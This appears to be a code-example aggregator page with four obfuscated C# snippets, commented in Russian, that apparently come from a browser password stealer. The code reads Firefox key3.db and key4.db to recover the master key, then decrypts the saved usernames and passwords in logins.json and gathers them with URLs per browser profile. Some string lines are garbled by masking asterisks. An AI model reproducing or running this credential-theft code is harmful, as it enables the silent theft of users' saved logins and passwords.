Пример #1
0
        } //Если P4Key

        private static byte[] p3k(string file)
        {
            byte[] array = new byte[24];
            try
            {
                if (!File.Exists(file))
                {
                    return(array);
                }
                new DataTable();
                Gecko9 berkeleyDB = new Gecko9(file);
                Gecko7 Gecko7     = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check")));
                string hexString  = vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
                Gecko8 Gecko8     = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt));
                Gecko8.го7па();
                Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck));
                Gecko4 Gecko4  = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
                Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
                Gecko82.го7па();
                Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
                if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24)
                {
                    array = Gecko42.Objects[0].Objects[3].ObjectData;
                    return(array);
                }
                Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                return(array);
            }
            catch (Exception)
            {
                return(array);
            }
        }//Если P3Key
Пример #2
0
        public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name)
        {
            try
            {
                string path = CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (File.Exists(path))
                {
                    {
                        foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"])
                        {
                            Gecko4 Gecko4  = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false)));
                            Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false)));
                            string text    = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                            string text2   = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);


                            credential.Add("URL : " + item["hostname"] + System.Environment.NewLine + "Login: "******"Password: "******"URL : " + item["hostname"] + System.Environment.NewLine + "Login: "******"Password: "******"Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]);
                            GeckoBrowsers.Add("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]);
                            // Console.WriteLine("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]);
                        }
                        credential.Clear();
                    }
                }
            }
            catch (Exception)
            {
            }
        }
Пример #3
0
 private static byte[] p4k(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         CNT cNT = new CNT(file);
         cNT.ReadTable("metaData");
         string s           = cNT.ParseValue(0, "item1");
         string s2          = cNT.ParseValue(0, "item2)");
         Gecko4 Gecko4      = Gecko1.Create(Encoding.Default.GetBytes(s2));
         byte[] objectData  = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData;
         Gecko8 Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3));
         objectData  = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = Gecko42.Objects[0].Objects[1].ObjectData;
         Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch (Exception)
     {
         return(result);
     }
 } //Если P4Key
Пример #4
0
        public static Gecko4 Create(byte[] dataToParse)
        {
            Gecko4 Gecko4 = new Gecko4();

            for (int i = 0; i < dataToParse.Length; i++)
            {
                Gecko2 Gecko2 = (Gecko2)dataToParse[i];
                int    num    = 0;
                switch (Gecko2)
                {
                case Gecko2.Sequence:
                {
                    byte[] array;
                    if (Gecko4.ObjectLength == 0)
                    {
                        Gecko4.ObjectType   = Gecko2.Sequence;
                        Gecko4.ObjectLength = dataToParse.Length - (i + 2);
                        array = new byte[Gecko4.ObjectLength];
                    }
                    else
                    {
                        Gecko4.Objects.Add(new Gecko4
                            {
                                ObjectType   = Gecko2.Sequence,
                                ObjectLength = dataToParse[i + 1]
                            });
                        array = new byte[dataToParse[i + 1]];
                    }
                    num = ((array.Length > dataToParse.Length - (i + 2)) ? (dataToParse.Length - (i + 2)) : array.Length);
                    Array.Copy(dataToParse, i + 2, array, 0, array.Length);
                    Gecko4.Objects.Add(Create(array));
                    i = i + 1 + dataToParse[i + 1];
                    break;
                }

                case Gecko2.Integer:
                {
                    Gecko4.Objects.Add(new Gecko4
                        {
                            ObjectType   = Gecko2.Integer,
                            ObjectLength = dataToParse[i + 1]
                        });
                    byte[] array = new byte[dataToParse[i + 1]];
                    num = ((i + 2 + dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : dataToParse[i + 1]);
                    Array.Copy(dataToParse, i + 2, array, 0, num);
                    Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectData = array;
                    i = i + 1 + Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectLength;
                    break;
                }

                case Gecko2.OctetString:
                {
                    Gecko4.Objects.Add(new Gecko4
                        {
                            ObjectType   = Gecko2.OctetString,
                            ObjectLength = dataToParse[i + 1]
                        });
                    byte[] array = new byte[dataToParse[i + 1]];
                    num = ((i + 2 + dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : dataToParse[i + 1]);
                    Array.Copy(dataToParse, i + 2, array, 0, num);
                    Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectData = array;
                    i = i + 1 + Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectLength;
                    break;
                }

                case Gecko2.ObjectIdentifier:
                {
                    Gecko4.Objects.Add(new Gecko4
                        {
                            ObjectType   = Gecko2.ObjectIdentifier,
                            ObjectLength = dataToParse[i + 1]
                        });
                    byte[] array = new byte[dataToParse[i + 1]];
                    num = ((i + 2 + dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : dataToParse[i + 1]);
                    Array.Copy(dataToParse, i + 2, array, 0, num);
                    Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectData = array;
                    i = i + 1 + Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectLength;
                    break;
                }
                }
            }
            return(Gecko4);
        }